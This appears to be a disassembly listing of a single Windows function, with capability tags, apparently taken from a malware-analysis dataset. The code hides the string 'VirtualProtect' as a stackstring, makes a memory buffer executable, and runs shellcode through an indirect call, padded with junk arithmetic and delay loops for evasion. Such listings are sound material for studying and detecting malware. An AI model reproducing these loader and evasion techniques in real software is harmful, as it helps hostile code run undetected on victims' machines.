Function at 0x40fe90
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2b8
push 0x42d6a0
call fcn.00402a60
add esp, 4
cmp eax, 0xd727d
jne 0x40ff48
push 0x427b40
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 0x18fdd
jne 0x40ff48
mov dword [0x427b20], 0xd28ed42a
mov dword [0x427b24], 0xffffffff
push 0
call fcn.00403e00
add esp, 4
push 0x4174b4
push 0x42d6a0
call fcn.00401010
add esp, 8
push 0x4174b4
push 0
push str.0__f
push 0xffffffffffffffff
push 0x42d6a0
call fcn.00401000
mov ecx, dword [eax]
or ecx, 1
mov edx, dword [eax + 4]
push edx
push ecx
call fcn.00403ddc
add esp, 0x1c
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x40ff3c
mov dword [ebp - 0x110], 0xffffffff
jmp 0x40ff48
mov eax, dword [ebp - 0xbc]
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x80], 0
jmp 0x40ff5a
mov ecx, dword [ebp - 0x80]
add ecx, 1
mov dword [ebp - 0x80], ecx
cmp dword [ebp - 0x80], 0x6e7765
jge 0x40ff80
lea edx, [ebp - 0x2a8]
push edx
lea eax, [ebp - 0x2b0]
push eax
lea ecx, [ebp - 0x2b8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemTimes]
jmp 0x40ff51
call fcn.00410e70
push str.Virtual
push 0x42d6a0
call fcn.00402960
add esp, 8
mov dword [ebp - 4], 0
mov edx, dword [ebp - 4]
mov byte [edx + 0x42d6a0], 0x56
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov byte [ecx + 0x42d6a0], 0x69
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
mov byte [eax + 0x42d6a0], 0x72
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
mov byte [edx + 0x42d6a0], 0x74
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov byte [ecx + 0x42d6a0], 0x75
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
mov byte [eax + 0x42d6a0], 0x61
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
mov byte [edx + 0x42d6a0], 0x6c
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov byte [ecx + 0x42d6a0], 0x50
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
mov byte [eax + 0x42d6a0], 0x72
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
mov byte [edx + 0x42d6a0], 0x6f
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov byte [ecx + 0x42d6a0], 0x74
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
mov byte [eax + 0x42d6a0], 0x65
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
mov byte [edx + 0x42d6a0], 0x63
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov byte [ecx + 0x42d6a0], 0x74
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
mov byte [eax + 0x42d6a0], 0
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
push 0x42d6a0
mov edx, dword [0x4487c4]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x44492c], eax
mov dword [ebp - 0x84], 0
jmp 0x4100ed
mov eax, dword [ebp - 0x84]
add eax, 1
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0x45d48f
jge 0x410139
cmp dword [ebp - 0x84], 0x348f5a
jne 0x410121
lea ecx, [ebp - 0x114]
push ecx
push 0x40
mov edx, dword [0x427b1c]
push edx
mov eax, dword [0x4487c0]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp dword [0x427b1c], 0xea7
jne 0x410137
mov dword [0x427b18], 0
jmp 0x4100de
push 0x425778
mov edx, dword [0x427b1c]
mov ecx, dword [0x4487c0]
call fcn.004111f0
mov dword [ebp - 0x88], 0
jmp 0x41016a
mov ecx, dword [ebp - 0x88]
add ecx, 1
mov dword [ebp - 0x88], ecx
cmp dword [ebp - 0x88], 0x6ea9ee
jge 0x41018f
cmp dword [ebp - 0x88], 0x33989d
jne 0x41018d
mov ecx, dword [0x4487c0]
call fcn.00410e50
jmp 0x41015b
mov dword [ebp - 0x7c], 0
jmp 0x4101a1
mov edx, dword [ebp - 0x7c]
add edx, 1
mov dword [ebp - 0x7c], edx
cmp dword [ebp - 0x7c], 0x702513
jge 0x410e3b
cmp dword [ebp - 0x7c], 0x252839
jne 0x410e27
mov dword [ebp - 0xc], 0x57c3937e
mov dword [ebp - 0x48], 0x2f98dede
mov dword [ebp - 8], 0x15a97946
mov dword [ebp - 0x20], 0x1a9b9bcb
mov dword [ebp - 0x10], 0x5a88a17b
mov dword [ebp - 0x24], 0x445046a8
mov dword [ebp - 0x14], 0x5f9bff6e
mov dword [ebp - 0xc0], 0xe98add8
mov dword [ebp - 0x44], 0x33654d75
mov dword [ebp - 0x28], 0x221c88c0
mov dword [ebp - 0x8c], 0x18cd4b26
mov dword [ebp - 0x118], 0x6beaf9df
mov dword [ebp - 0x1c], 0x14365730
mov dword [ebp - 0x58], 0x41fe079b
mov dword [ebp - 0x54], 0x6e4aa98e
mov dword [ebp - 0x18], 0x4c8c47af
mov dword [ebp - 0x50], 0x855338
mov dword [ebp - 0x30], 0x1018c6e7
mov dword [ebp - 0x60], 0x430b6f81
mov dword [ebp - 0x70], 0x6971e75d
mov dword [ebp - 0x5c], 0x570d709e
mov dword [ebp - 0x34], 0x5543d8bc
mov dword [ebp - 0xc4], 0x3baa49c2
mov dword [ebp - 0x64], 0x3a4c1ef9
mov dword [ebp - 0x98], 0x5d59a381
mov dword [ebp - 0xcc], 0x53dc9ba5
mov dword [ebp - 0x94], 0x6f2d43bc
mov dword [ebp - 0x38], 0x4495c8ed
mov dword [ebp - 0x4c], 0x3123facb
mov dword [ebp - 0x2c], 0x11d89cae
mov dword [ebp - 0x108], 0x38f9dab6
mov dword [ebp - 0x78], 0x6bdff427
mov dword [ebp - 0xd0], 0x5bc317c0
mov dword [ebp - 0xc8], 0x28604aee
mov dword [ebp - 0xf0], 0x2981e1b8
mov dword [ebp - 0xb0], 0x5fb41086
mov dword [ebp - 0x90], 0xb96b606
mov dword [ebp - 0x100], 0x5024ad8
mov dword [ebp - 0xd8], 0x3d3228d1
mov dword [ebp - 0x3c], 0x42aa9220
mov dword [ebp - 0x68], 0x530726cf
mov dword [ebp - 0x6c], 0x4e37d30a
mov dword [ebp - 0xdc], 0x6cbaaf0e
mov dword [ebp - 0x74], 0x18dd8c3b
mov dword [ebp - 0xf8], 0x41bba25f
mov dword [ebp - 0xd4], 0x78838118
mov dword [ebp - 0xe0], 0x7e4f2936
mov dword [ebp - 0x11c], 0x2c4472ee
mov dword [ebp - 0xe8], 0xdd30285
mov dword [ebp - 0x120], 0x5bae9d77
mov dword [ebp - 0xa0], 0xe6e65fa
mov dword [ebp - 0x9c], 0x243f220b
mov dword [ebp - 0x124], 0xd08b236
mov dword [ebp - 0xac], 0x37446d56
mov dword [ebp - 0xe4], 0x1937748
mov dword [ebp - 0xf4], 0x1a78eb7a
mov dword [ebp - 0xa4], 0x20f5ab06
mov dword [ebp - 0xa8], 0x7507c50e
mov dword [ebp - 0xfc], 0x3945c245
mov dword [ebp - 0x128], 0xf1da41c
mov dword [ebp - 0x40], 0x63042c19
mov dword [ebp - 0x12c], 0x51e0a93a
mov dword [ebp - 0xb8], 0x4c08c7c3
mov dword [ebp - 0xb4], 0x434ae8f
mov dword [ebp - 0x130], 0x635d7218
mov dword [ebp - 0xec], 0x6caf7a36
mov dword [ebp - 0x134], 0x7f3fb8f8
mov dword [ebp - 0x10c], 0x25412aa3
mov dword [ebp - 0x104], 0xae29382
mov dword [ebp - 0x138], 0x6aa31552
mov dword [ebp - 0x13c], 0x3dd5494a
mov dword [ebp - 0x140], 0x66e21afd
mov dword [ebp - 0x144], 0x5f99732e
mov dword [ebp - 0x148], 0x5d07466
mov dword [ebp - 0x14c], 0x6937852
mov dword [ebp - 0x150], 0x435824a5
mov dword [ebp - 0x154], 0x226a1bed
mov dword [ebp - 0x158], 0x78394160
mov dword [ebp - 0x15c], 0x514e9a7a
mov dword [ebp - 0x160], 0x5fd733a7
mov dword [ebp - 0x164], 0x33957db8
mov dword [ebp - 0x168], 0x26455efe
mov dword [ebp - 0x16c], 0x30d8ea44
mov dword [ebp - 0x170], 0x51df5bae
mov dword [ebp - 0x174], 0xd9ff913
mov dword [ebp - 0x178], 0x44ed4766
mov dword [ebp - 0x17c], 0x3c27233e
mov dword [ebp - 0x180], 0x10bd75ae
mov dword [ebp - 0x184], 0x1a685123
mov dword [ebp - 0x188], 0x234e6376
mov dword [ebp - 0x18c], 0x77772e9b
mov dword [ebp - 0x190], 0x65811f4b
mov dword [ebp - 0x194], 0x7def70e5
mov dword [ebp - 0x198], 0x1e3d0f92
mov dword [ebp - 0x19c], 0x629f8387
mov dword [ebp - 0x1a0], 0x4d74f674
mov dword [ebp - 0x1a4], 0x2cf4cee7
mov dword [ebp - 0x1a8], 0x9c6962
mov dword [ebp - 0x1ac], 0x2cbaf06b
mov dword [ebp - 0x1b0], 0x6e79534f
mov dword [ebp - 0x1b4], 0x22a23f14
mov dword [ebp - 0x1b8], 0x4453746f
mov dword [ebp - 0x1bc], 0x538ff6a5
mov dword [ebp - 0x1c0], 0xee55eee
mov dword [ebp - 0x1c4], 0x6da6015d
mov dword [ebp - 0x1c8], 0x74e2cbc6
mov dword [ebp - 0x1cc], 0x1838adde
mov dword [ebp - 0x1d0], 0x48bfcae0
mov dword [ebp - 0x1d4], 0x2e30c76f
mov dword [ebp - 0x1d8], 0x529c519f
mov dword [ebp - 0x1dc], 0x101115b3
mov dword [ebp - 0x1e0], 0x796615ef
mov dword [ebp - 0x1e4], 0x30f144e8
mov dword [ebp - 0x1e8], 0x38966991
mov dword [ebp - 0x1ec], 0x17d04e9e
mov dword [ebp - 0x1f0], 0x7059d374
mov dword [ebp - 0x1f4], 0x65a3ef99
mov dword [ebp - 0x1f8], 0x187fa8e0
mov dword [ebp - 0x1fc], 0x5fb65f0a
mov dword [ebp - 0x200], 0x4e346620
mov dword [ebp - 0x204], 0x3ce085ea
mov dword [ebp - 0x208], 0x1744ba0e
mov dword [ebp - 0x20c], 0x3ba8c9
mov dword [ebp - 0x210], 0x20122639
mov dword [ebp - 0x214], 0x16a7e958
mov dword [ebp - 0x218], 0x57883026
mov dword [ebp - 0x21c], 0x721cc02f
mov dword [ebp - 0x220], 0x189862b5
mov dword [ebp - 0x224], 0x592c42f6
mov dword [ebp - 0x228], 0x2230526c
mov dword [ebp - 0x22c], 0x14a00a83
mov dword [ebp - 0x230], 0x470937ef
mov dword [ebp - 0x234], 0x2ebd11a2
mov dword [ebp - 0x238], 0x3e7c5fb
mov dword [ebp - 0x23c], 0x1db4bb36
mov dword [ebp - 0x240], 0x212ff085
mov dword [ebp - 0x244], 0x3ba9d04
mov dword [ebp - 0x248], 0x78bacc5b
mov dword [ebp - 0x24c], 0x1d207434
mov dword [ebp - 0x250], 0x67bb15c6
mov dword [ebp - 0x254], 0x7c8eb676
mov dword [ebp - 0x258], 0x41ce285
mov dword [ebp - 0x25c], 0x2be0d4cc
mov dword [ebp - 0x260], 0x247c6047
mov dword [ebp - 0x264], 0x384350f2
mov dword [ebp - 0x268], 0x1c3edbe5
mov dword [ebp - 0x26c], 0x2a3c2a94
mov dword [ebp - 0x270], 0x5adf75fd
mov dword [ebp - 0x274], 0x614b7724
mov dword [ebp - 0x278], 0x1a721685
mov dword [ebp - 0x27c], 0x36c0a12f
mov dword [ebp - 0x280], 0x6359d4f3
mov dword [ebp - 0x284], 0x24f0fbbe
mov dword [ebp - 0x288], 0x4e9c3cce
mov dword [ebp - 0x28c], 0x23142dbc
mov dword [ebp - 0x290], 0x59012110
mov dword [ebp - 0x294], 0x6f548fd8
mov dword [ebp - 0x298], 0xd43c53e
mov dword [ebp - 0x29c], 0x78a0d1e6
mov dword [ebp - 0x2a0], 0x33f10952
mov eax, 0x5ac29be0
mul dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
mov eax, 0x626939bf
mul dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
mov eax, 0x3c2a65c4
mul dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
sub dword [ebp - 0xc], 0x45104364
mov eax, 0x6a7da14
mul dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
add dword [ebp - 0x48], 0x2f2c0331
add dword [ebp - 0x48], 0x1b9036e0
add dword [ebp - 0x20], 0x2077030f
add dword [ebp - 8], 0x1e5416a1
sub dword [ebp - 0x20], 0x669d6959
sub dword [ebp - 8], 0x6f153b0a
sub dword [ebp - 0xc0], 0x76ffac7
mov eax, 0x52a1d2a9
mul dword [ebp - 8]
mov eax, dword [ebp - 8]
mov eax, 0x6a1223ba
mul dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
add dword [ebp - 0x10], 0x5900a9e1
mov eax, 0x74aac22e
mul dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
sub dword [ebp - 0x10], 0x317a10d
mov eax, 0x14222544
mul dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
add dword [ebp - 0x24], 0x6e54cfaf
mov eax, 0x7eec041e
mul dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
mov eax, 0x35b21fc9
mul dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
add dword [ebp - 0x14], 0x586bfeb2
add dword [ebp - 0x14], 0x130c24c8
add dword [ebp - 0x20], 0x16a48fc7
mov eax, 0x19693546
mul dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
mov eax, 0x67e8d454
mul dword [ebp - 8]
mov eax, dword [ebp - 8]
add dword [ebp - 0x20], 0x39dfe300
sub dword [ebp - 0x18], 0x1c170b5f
add dword [ebp - 0x44], 0x8aa351b
add dword [ebp - 0x28], 0x78845a47
add dword [ebp - 0x24], 0x1ef5fb9c
mov eax, 0x79945499
mul dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, 0x7d30f3d5
mul dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, 0x43045765
mul dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, 0x216919d4
mul dword [ebp - 0x8c]
mov eax, dword [ebp - 0x8c]
add dword [ebp - 0x58], 0x68aa82f6
mov eax, 0x76aa6436
mul dword [ebp - 8]
mov eax, dword [ebp - 8]
add dword [ebp - 0x14], 0x6bcbc953
mov eax, 0x241cf868
mul dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
sub dword [ebp - 8], 0x6c6ea822
mov eax, 0x70b02e10
mul dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
add dword [ebp - 0x10], 0x573677fb
sub dword [ebp - 0x24], 0x3489f1d3
sub dword [ebp - 8], 0x49affbf
sub dword [ebp - 0x58], 0x55ffe64d
add dword [ebp - 0x34], 0x6349bfff
sub dword [ebp - 0x50], 0x3bdba96e
mov eax, 0x3b4b67d3
mul dword [ebp - 0x8c]
mov eax, dword [ebp - 0x8c]
add dword [ebp - 0x64], 0x7c2e95e7
mov eax, 0x2a949109
mul dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, 0x73479bf0
mul dword [ebp - 0x98]
mov eax, dword [ebp - 0x98]
add dword [ebp - 0x4c], 0xa6de278
add dword [ebp - 8], 0x69092523
sub dword [ebp - 0x14], 0x5b7da338
mov eax, 0x18da248f
mul dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, 0x580f83e
mul dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, 0x2341afc4
mul dword [ebp - 8]
mov eax, dword [ebp - 8]
add dword [ebp - 0x10], 0x66c010bf
add dword [ebp - 0x44], 0x741ade59
mov eax, 0x4472fa71
mul dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
sub dword [ebp - 0x1c], 0x316bedc7
mov eax, 0x17faaced
mul dword [ebp - 8]
mov eax, dword [ebp - 8]
mov eax, 0x656232b4
mul dword [ebp - 0x64]
mov eax, dword [ebp - 0x64]
sub dword [ebp - 0x30], 0x7cce020c
mov eax, 0x445da80b
mul dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
mov eax, 0x56fea90f
mul dword [ebp - 0x5c]
mov eax, dword [ebp - 0x5c]
add dword [ebp - 0x34], 0x33e3f57d
mov eax, 0x69ff522c
mul dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
mov eax, 0x6936f795
mul dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, 0x6ce27cc7
mul dword [ebp - 0x5c]
mov eax, dword [ebp - 0x5c]
sub dword [ebp - 0x1c], 0x1d82a05a
add dword [ebp - 0x54], 0x2cab2888
mov eax, 0x41e54ced
mul dword [ebp - 0xc4]
mov eax, dword [ebp - 0xc4]
mov eax, 0x3aaa6e95
mul dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov eax, 0xb1f9916
mul dword [ebp - 0xc8]
mov eax, dword [ebp - 0xc8]
sub dword [ebp - 0x10], 0x448a132
add dword [ebp - 0x2c], 0x1d5e1a97
mov eax, 0x14afcf45
mul dword [ebp - 0xb0]
mov eax, dword [ebp - 0xb0]
sub dword [ebp - 0x30], 0x2779b0a8
add dword [ebp - 0x48], 0x1de37783
sub dword [ebp - 0x4c], 0x3acee125
add dword [ebp - 0x2c], 0x6c970bae
sub dword [ebp - 0x34], 0x2d0c40f5
sub dword [ebp - 0x30], 0x14e3dd96
sub dword [ebp - 0x18], 0x2fbf54f5
mov eax, 0x3adfed15
mul dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
sub dword [ebp - 0x1c], 0x3b7c67d
mov eax, 0xea5f383
mul dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov eax, 0x2f8f6070
mul dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
sub dword [ebp - 0x68], 0x49fa2611
add dword [ebp - 0x90], 0x34d91920
mov eax, 0xd219ee6
mul dword [ebp - 0x70]
mov eax, dword [ebp - 0x70]
add dword [ebp - 0x1c], 0x360385a0
sub dword [ebp - 0x60], 0x41ec108b
mov eax, 0x5298179b
mul dword [ebp - 0xcc]
mov eax, dword [ebp - 0xcc]
add dword [ebp - 0xd0], 0xb47637c
add dword [ebp - 0x38], 0x11aea25c
sub dword [ebp - 0x18], 0x2e38dcd2
sub dword [ebp - 0x38], 0xb6906e0
add dword [ebp - 0x50], 0x77f5b487
add dword [ebp - 0x2c], 0x5f2da895
sub dword [ebp - 0x94], 0x19530138
mov eax, 0x7577e27f
mul dword [ebp - 0x78]
mov eax, dword [ebp - 0x78]
sub dword [ebp - 0xd4], 0x78cf40a2
add dword [ebp - 0x30], 0x2d2938fb
add dword [ebp - 0xa0], 0x12688062
sub dword [ebp - 0x3c], 0x2a2b25d4
add dword [ebp - 0x70], 0x3aec6ecd
mov eax, 0x698f0f77
mul dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
sub dword [ebp - 0xd8], 0x2b929fc5
sub dword [ebp - 0x74], 0x8891606
mov eax, 0x170ed56a
mul dword [ebp - 0x94]
mov eax, dword [ebp - 0x94]
sub dword [ebp - 0x28], 0x7a74448
mov eax, 0x5dc722d6
mul dword [ebp - 0xdc]
mov eax, dword [ebp - 0xdc]
add dword [ebp - 0x98], 0x1f37c181
add dword [ebp - 0x6c], 0x15bd8dea
sub dword [ebp - 0x74], 0xfee4b4c
mov eax, 0x1f10b865
mul dword [ebp - 0xe0]
mov eax, dword [ebp - 0xe0]
mov eax, 0x37ff6589
mul dword [ebp - 8]
mov eax, dword [ebp - 8]
add dword [ebp - 0x9c], 0x352967b7
sub dword [ebp - 0x9c], 0x46e1bedb
mov eax, 0x63407dfe
mul dword [ebp - 0xa0]
mov eax, dword [ebp - 0xa0]
sub dword [ebp - 0x10], 0x33a3b797
add dword [ebp - 0x78], 0x3cac49f3
mov eax, 0x151b02c
mul dword [ebp - 0x60]
mov eax, dword [ebp - 0x60]
add dword [ebp - 0xa4], 0x35c237b9
add dword [ebp - 0x54], 0x1f1edadc
sub dword [ebp - 0xe4], 0x1814f988
mov eax, 0x50af8a01
mul dword [ebp - 0xa4]
mov eax, dword [ebp - 0xa4]
add dword [ebp - 0x10], 0xd1adeb5
sub dword [ebp - 0x58], 0x19c78245
mov eax, 0x1695799d
mul dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
add dword [ebp - 0xc], 0x6a61f73c
add dword [ebp - 0x2c], 0x4028876f
add dword [ebp - 0xa8], 0x48200c57
add dword [ebp - 0xa8], 0x530def82
sub dword [ebp - 0xe8], 0xfd047e
sub dword [ebp - 0x5c], 0x7c3ce1c3
add dword [ebp - 0x6c], 0x13641423
mov eax, 0x78a45b57
mul dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
add dword [ebp - 0xec], 0x9115c24
sub dword [ebp - 0xac], 0x3b3afb7c
add dword [ebp - 0x40], 0x1433c670
add dword [ebp - 0x60], 0x7e791570
sub dword [ebp - 0xac], 0x31ec4750
add dword [ebp - 0x40], 0x7ba1d525
add dword [ebp - 0x64], 0x665b5b1d
sub dword [ebp - 0xf0], 0x6b0f07bb
sub dword [ebp - 0xf4], 0x1f913cf
mov eax, 0x5e28c15a
mul dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
sub dword [ebp - 0x68], 0x256ff84f
add dword [ebp - 0xb4], 0x16862e04
mov eax, 0x7e2be61
mul dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
sub dword [ebp - 0x34], 0x662717b6
add dword [ebp - 0x6c], 0x586b3fb2
mov eax, 0x37438f4
mul dword [ebp - 0xf8]
mov eax, dword [ebp - 0xf8]
mov eax, 0x338ea5ec
mul dword [ebp - 0xfc]
mov eax, dword [ebp - 0xfc]
mov eax, 0x278583b2
mul dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, 0x14c84eb8
mul dword [ebp - 0x100]
mov eax, dword [ebp - 0x100]
sub dword [ebp - 0x38], 0x15a58f19
sub dword [ebp - 0xb8], 0x2125ac98
sub dword [ebp - 0x20], 0x5a66ad07
sub dword [ebp - 0x70], 0x392d4cfd
mov eax, 0x712cb55d
mul dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, 0x110758fc
mul dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
add dword [ebp - 0x74], 0x1ab8fdb4
sub dword [ebp - 0x104], 0xe684f5e
sub dword [ebp - 0x40], 0x128b8f2d
add dword [ebp - 0xb0], 0x78349641
sub dword [ebp - 0x108], 0x3ee31017
mov eax, 0x54e39c01
mul dword [ebp - 0x10c]
mov eax, dword [ebp - 0x10c]
mov eax, 0x55b511ed
mul dword [ebp - 0xb4]
mov eax, dword [ebp - 0xb4]
sub dword [ebp - 0x78], 0x12f802bc
mov eax, 0x2730c404
mul dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
add dword [ebp - 0xb8], 0xd4ac62e
cmp dword [ebp - 0x7c], 0x252838
jne 0x410e36
call dword [0x4487c0]
jmp 0x410198
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10